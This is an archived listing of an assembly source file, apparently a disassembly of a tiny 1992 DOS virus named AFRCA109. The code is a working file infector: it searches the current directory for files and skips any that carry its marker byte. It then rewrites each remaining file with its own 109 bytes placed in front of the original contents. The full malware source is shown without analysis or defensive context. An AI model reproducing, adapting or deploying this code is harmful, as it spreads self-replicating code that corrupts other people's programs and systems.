home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / AFRCA109.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  2KB  |  100 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    AFRCA109                     ██
  7. ;██                                         ██
  8. ;██      Created:   16-Sep-92                             ██
  9. ;██      Passes:    5           Analysis Options on: AW                 ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_2e        equ    4F43h
  14. data_3e        equ    0FE00h
  15.  
  16. seg_a        segment    byte public
  17.         assume    cs:seg_a, ds:seg_a
  18.  
  19.  
  20.         org    100h
  21.  
  22. afrca109    proc    far
  23.  
  24. start:
  25.         mov    si,100h
  26.         push    si
  27.         mov    ax,cs
  28.         add    ah,10h
  29.         mov    es,ax
  30.         xor    di,di            ; Zero register
  31.         mov    cx,6Dh
  32.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  33.         mov    dx,data_3e
  34.         mov    ah,1Ah
  35.         int    21h            ; DOS Services  ah=function 1Ah
  36.                         ;  set DTA(disk xfer area) ds:dx
  37.         mov    dx,167h
  38.         mov    ah,4Eh            ; 'N'
  39.         jmp    short loc_2
  40. loc_1:
  41.         mov    ah,3Eh            ; '>'
  42.         int    21h            ; DOS Services  ah=function 3Eh
  43.                         ;  close file, bx=file handle
  44.         mov    ah,4Fh            ; 'O'
  45. loc_2:
  46.         push    cs
  47.         pop    ds
  48.         int    21h            ; DOS Services  ah=function 4Fh
  49.                         ;  find next filename match
  50.         mov    cx,0FE1Eh
  51.         jc    loc_3            ; Jump if carry Set
  52.         mov    dx,cx
  53.         mov    ax,3D02h
  54.         int    21h            ; DOS Services  ah=function 3Dh
  55.                         ;  open file, al=mode,name@ds:dx
  56.         xchg    ax,bx
  57.         push    es
  58.         pop    ds
  59.         mov    dx,di
  60.         mov    ah,3Fh            ; '?'
  61.         int    21h            ; DOS Services  ah=function 3Fh
  62.                         ;  read file, bx=file handle
  63.                         ;   cx=bytes to ds:dx buffer
  64.         add    ax,6Dh
  65.         cmp    byte ptr [di],0BEh
  66.         je    loc_1            ; Jump if equal
  67.         push    ax
  68.         xor    cx,cx            ; Zero register
  69.         mov    ax,4200h
  70.         cwd                ; Word to double word
  71.         int    21h            ; DOS Services  ah=function 42h
  72.                         ;  move file ptr, bx=file handle
  73.                         ;   al=method, cx,dx=offset
  74.         pop    cx
  75.         mov    ah,40h            ; '@'
  76.         int    21h            ; DOS Services  ah=function 40h
  77.                         ;  write file  bx=file handle
  78.                         ;   cx=bytes from ds:dx buffer
  79.         jmp    short loc_1
  80. loc_3:
  81.         push    cs
  82.         pop    es
  83.         mov    bl,0FCh
  84.         mov    word ptr [bx],0AAACh
  85.         mov    word ptr [bx+2],0FCE2h
  86.         pop    di
  87.         push    bx
  88.         retn
  89.         sub    ch,ds:data_2e
  90.         dec    bp
  91.         add    bl,al
  92.  
  93. afrca109    endp
  94.  
  95. seg_a        ends
  96.  
  97.  
  98.  
  99.         end    start
  100.